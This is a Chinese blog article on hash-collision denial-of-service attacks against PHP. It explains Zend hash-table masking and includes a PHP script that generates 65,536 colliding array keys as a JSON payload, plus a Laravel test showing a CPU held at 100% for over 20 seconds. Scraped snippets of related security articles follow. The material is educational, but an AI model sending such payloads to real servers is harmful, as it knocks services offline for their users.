PHP Hash Collision攻击原理

之前介绍了所有语言通用的Hash Collision攻击原理 一种高级的DoS攻击-Hash碰撞攻击 ,介绍的比较宽泛。因为Java相关的Hash Collision文章比较少,所以最先写了Java的攻击原理 Java Hash Collision之数据生产

网上关于PHP Hash Collision的文章特别多,得益于很多年前鸟哥的一篇文章 PHP数组的Hash冲突实例,因为这篇文章让行业内的PHPer们都愿意花时间去了解。

哈希表是一种查找效率极高的数据结构,PHP中的哈希表用于表示Array数据类型,在Zend虚拟机内部也用于存储上下文环境信息(执行上下文的变量及函数均使用哈希表结构存储)。

理想情况下哈希表插入和查找操作的时间复杂度均为O(1),任何一个数据项可以在一个与哈希表长度无关的时间内计算出一个哈希值(key),然后在常量时间内定位到一个桶(术语bucket,表示哈希表中的一个位置)。当然这是理想情况下,因为任何哈希表的长度都是有限的,所以一定存在不同的数据项具有相同哈希值的情况,此时不同数据项被定为到同一个桶,称为碰撞(collision)。哈希表的实现需要解决碰撞问题,碰撞解决大体有两种思路,第一种是根据某种原则将被碰撞数据定为到其它桶,例如线性探测——如果数据在插入时发生了碰撞,则顺序查找这个桶后面的桶,将其放入第一个没有被使用的桶;第二种策略是每个桶不是一个只能容纳单个数据项的位置,而是一个可容纳多个数据的数据结构(例如链表或红黑树),所有碰撞的数据以某种数据结构的形式组织起来。

不论使用了哪种碰撞解决策略,都导致插入和查找操作的时间复杂度不再是O(1)。以查找为例,不能通过key定位到桶就结束,必须还要比较原始key(即未做哈希之前的key)是否相等,如果不相等,则要使用与插入相同的算法继续查找,直到找到匹配的值或确认数据不在哈希表中。

PHP是使用单链表存储碰撞的数据,因此实际上PHP哈希表的平均查找复杂度为O(L),其中L为桶链表的平均长度;而最坏复杂度为O(N),此时所有数据全部碰撞,哈希表退化成单链表。哈希表结构如下图

Hash Function也叫哈希散列函数,通过散列函数我们能将各种类型的key转换为有限空间内的一个内存地址。常见的散列函数有MD5,SHA。不过HashTable中基本不会用MD5,SHA算法,因为这两类算法太耗时,基本所有的编程语言都会选择Times*类型算法,比如Times31,times33,times37。Java使用的Hash算法为Times31,PHP使用的Hash算法为times33……

一. PHP Hash function实现

PHP HashTable的哈希算法如下:

hash(key)=key & nTableMask

即简单将数据的原始key与HashTable的nTableMask进行按位与即可。如果原始key为字符串,则首先使用Times33算法将字符串转为整形再与nTableMask按位与。

hash(strkey)=time33(strkey) & nTableMask

下面是Zend源码中查找哈希表的代码:

ZEND_API int zend_hash_index_find(const HashTable ht, ulong h, void *pData)
{
    uint nIndex;
    Bucket *p;

    IS_CONSISTENT(ht);
    //获取索引
    nIndex = h & ht->nTableMask;

    p = ht->arBuckets[nIndex];
    while (p != NULL) {
        if ((p->h == h) && (p->nKeyLength == 0)) {
            *pData = p->pData;
            return SUCCESS;
        }
        p = p->pNext;
    }
    return FAILURE;
}
//用于查找字符串key
ZEND_API int zend_hash_find(const HashTable ht, const char arKey, uint nKeyLength, void **pData)
{
    ulong h;
    uint nIndex;
    Bucket *p;

    IS_CONSISTENT(ht);

    h = zend_inline_hash_func(arKey, nKeyLength);
    //获取索引
    nIndex = h & ht->nTableMask;

    p = ht->arBuckets[nIndex];
    while (p != NULL) {
        if ((p->h == h) && (p->nKeyLength == nKeyLength)) {
            if (!memcmp(p->arKey, arKey, nKeyLength)) {
                *pData = p->pData;
                return SUCCESS;
            }
        }
        p = p->pNext;
    }
    return FAILURE;
}

二. 通过PHP zend_hash_index_find函数实现逆推

知道了PHP内部哈希表的算法,就可以利用其原理构造用于攻击的数据。一种最简单的方法是利用掩码规律制造碰撞。上文提到Zend HashTable的长度nTableSize会被圆整为2的整数次幂,假设我们构造一个2^16的哈希表,则nTableSize的二进制表示为:1 0000 0000 0000 0000,而nTableMask = nTableSize – 1为:0 1111 1111 1111 1111。接下来,可以以0为初始值,以2^16为步长,制造足够多的数据,可以得到如下推测:

0000 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0001 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0010 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0011 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0100 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

……

概况来说只要保证后16位均为0,则与掩码位于后得到的哈希值全部碰撞在位置0。

三. 通过脚本批量产出碰撞数据

如上我们已经推算出碰撞数据的实现方式,接下来我通过PHP生成碰撞数据。如果要生成大量的碰撞数据,这里最好不要使用PHP来生成,因为操作不当就会变成攻击自己的脚本。

$size = pow(2, 16); // 16 is just an example, could also be 15 or 17
$maxKey = ($size - 1) * $size;
$startTime = microtime(true);
$array = [];
for ($key = 0; $key <= $maxKey; $key += $size) {
    $array[$key] = 0;
}
file_put_contents("t.log",json_encode($array));
$endTime = microtime(true);

echo 'Inserting ', $size, ' evil elements took ', $endTime - $startTime, ' seconds', "\n";

最后我们生成了如下数据(截取了前面几条):

{
    "0":0,
    "65536":0,
    "131072":0,
    "196608":0,
    "262144":0,
    "327680":0,
    "393216":0,
    "458752":0,
    "524288":0,
    "589824":0,
    "655360":0,
    "720896":0
}

四. 在PHP中测试碰撞数据

通过程序我们生成了65536条碰撞数据,然后在Laravel中做个简单的测试,测试代码如下:

public function posts(){

    $startTime = microtime(true);
    //获取http body中的数据
    $rest = $this->request->getContent();
    json_decode($rest,true);
    $endTime = microtime(true);

    echo ' evil elements took ', $endTime - $startTime, ' seconds', "\n";
}

测试结果,一个CPU被打到100%,持续了20多秒。结束该php-fpm进程后恢复。

至此写了三篇关于HashTable的文章,前两篇文章开头都有链接,能帮助大家对HahsTable有更深的理解,之后不会再更新HashTable相关的文章了。

我的博客原文地址:PHP Hash Collision攻击原理

时间: 2024-09-19 01:43:26

PHP Hash Collision攻击原理的相关文章

一种高级的DoS攻击-Hash碰撞攻击

这是迄今为止第一个让我觉得后怕的攻击方式,涉及的范围广难以防御,攻击效果立竿见影.大量的网站和Web接口都未做Hash碰撞攻击的防御,一拿一个准. 随着RESTful风格的接口普及,程序员默认都会使用json作为数据传递的方式.json格式的数据冗余少,兼容性高,从提出到现在已被广泛的使用,可以说成为了Web的一种标准.无论我们服务端使用什么语言,我们拿到json格式的数据之后都需要做jsonDecode(),将json串转换为json对象,而对象默认会存储于Hash Table,而Hash T

Java Hash Collision之数据生产

上一篇文章一种高级的DoS攻击-Hash碰撞攻击我通过伪造Hash Collision数据实现了对Java的DoS攻击,下面说说如何生产大量的攻击数据. HashTable是一种非常常用的数据结构.它存取速度快,结构简单,深得程序员喜爱.HashTable大致数据结构如下图: Hash Function也叫哈希散列函数,通过散列函数我们能将各种类型的key转换为有限空间内的一个内存地址.常见的散列函数有MD5,SHA.不过HashTable中基本不会用MD5,SHA算法,因为这两类算法太耗时,基

PHP内核探索:哈希表碰撞攻击原理_php实例

下面通过图文并茂的方式给大家展示PHP内核探索:哈希表碰撞攻击原理. 最近哈希表碰撞攻击(Hashtable collisions as DOS attack)的话题不断被提起,各种语言纷纷中招.本文结合PHP内核源码,聊一聊这种攻击的原理及实现.  哈希表碰撞攻击的基本原理 哈希表是一种查找效率极高的数据结构,很多语言都在内部实现了哈希表.PHP中的哈希表是一种极为重要的数据结构,不但用于表示Array数据类型,还在Zend虚拟机内部用于存储上下文环境信息(执行上下文的变量及函数均使用哈希表结

DDOS攻击原理及防护方法论

从 07年的爱沙尼亚DDOS信息战,到今年广西南宁30个网吧遭受到DDOS勒索,再到新浪网遭受DDOS攻击无法提供对外服务500多分钟. DDOS愈演愈烈,攻击事件明显增多,攻击流量也明显增大,形势十分严峻,超过1G的攻击流量频频出现,CNCERT/CC掌握的数据表明,最高时达到了 12G,这样流量,甚至连专业的机房都无法抵挡.更为严峻的是:利用DDOS攻击手段敲诈勒索已经形成了一条完整的产业链!并且,攻击者实施成本极低,在 网上可以随便搜索到一大堆攻击脚本.工具工具,对攻击者的技术要求也越来越

内网渗透防御:如何防御Hash注入攻击

渗透测试人员对Pass-the-Hash(PtH)攻击都很熟悉.我们常在渗透测试中用到它.如果你的职责包括网络入侵防御,你至少应该了解其攻击方法.不管你有多少经验,你对问题了解得可能不深,或许还不知道它是怎么解决的,注意是"解决"而不是"修复". 概述 攻击者通过一定办法获取了Windows计算机的本地管理员权限,可以在内存中寻找其它本地或域内账户登录后的hash,因为电脑正在运行.这些hash可以"传递"(不需要破解)给其它的计算机或者服务,作

Linux SYN攻击原理及措施解决

SYN攻击原理图: TCP在传递数据前需要经过三次握手,SYN攻击的原理就是向服务器发送SYN数据包,并伪造源IP地址. 服务器在收到SYN数据包时,会将连接加入backlog队列,并向源IP发送SYN-ACK数据包,并等待ACK数据包,以完成三次握手建立连接. 由于源IP地址是伪造的不存在主机IP,所以服务器无法收到ACK数据包,并会不断重发,同时backlog队列被不断被攻击的SYN连接占满,导致无法处理正常的连接.SYN攻击的应对措施 针对SYN攻击的几个环节,提出相应的处理方法: 方式1

DDoS的攻击原理与防御方法

DoS攻击.DDoS攻击和DRDoS攻击相信大家已经早有耳闻了吧!DoS是Denial of Service的简写就是拒绝服务,而DDoS就是Distributed Denial of Service的简写就是分布式拒绝服务,而DRDoS就是Distributed Reflection Denial of Service的简写,这是分布反射式拒绝服务的意思. 不过这3中攻击方法最厉害的还是DDoS,那个DRDoS攻击虽然是新近出的一种攻击方法,但它只是DDoS攻击的变形,它的唯一不同就是不用占领

浅谈利用JavaScript进行的DDoS攻击原理与防御

        这篇文章主要介绍了浅谈利用JavaScript进行的DDoS攻击原理与防御,以及介绍了相关的中间人攻击原理,需要的朋友可以参考下            分布式拒绝服务攻击(DDoS)攻击是一种针对网站发起的最古老最普遍的攻击.Nick Sullivan是网站加速和安全服务提供商CloudFlare的一名系统工程师.近日,他撰文介绍了攻击者如何利用恶意网站.服务器劫持和中间人攻击发起DDoS攻击,并说明了如何使用HTTPS以及即将到来的名为"子资源一致性(Subresource I

ARP攻击原理简析及防御措施

0x1  简介 网络欺骗攻击作为一种非常专业化的攻击手段,给网络安全管理者,带来严峻的考验.网络安全的战场已经从互联网蔓延到用户内部的网络,特别是局域网.目前利用ARP欺骗的木马病毒在局域网中广泛传播,导致网络随机掉线甚至整体瘫痪,通讯被窃听,信息被篡改等严重后果. 0x2  ARP协议概述 ARP协议(address resolution protocol)地址解析协议 一台主机和另一台主机通信,要知道目标的IP地址,但是在局域网中传输数据的网卡却不能直接识别IP地址,所以用ARP解析协议将I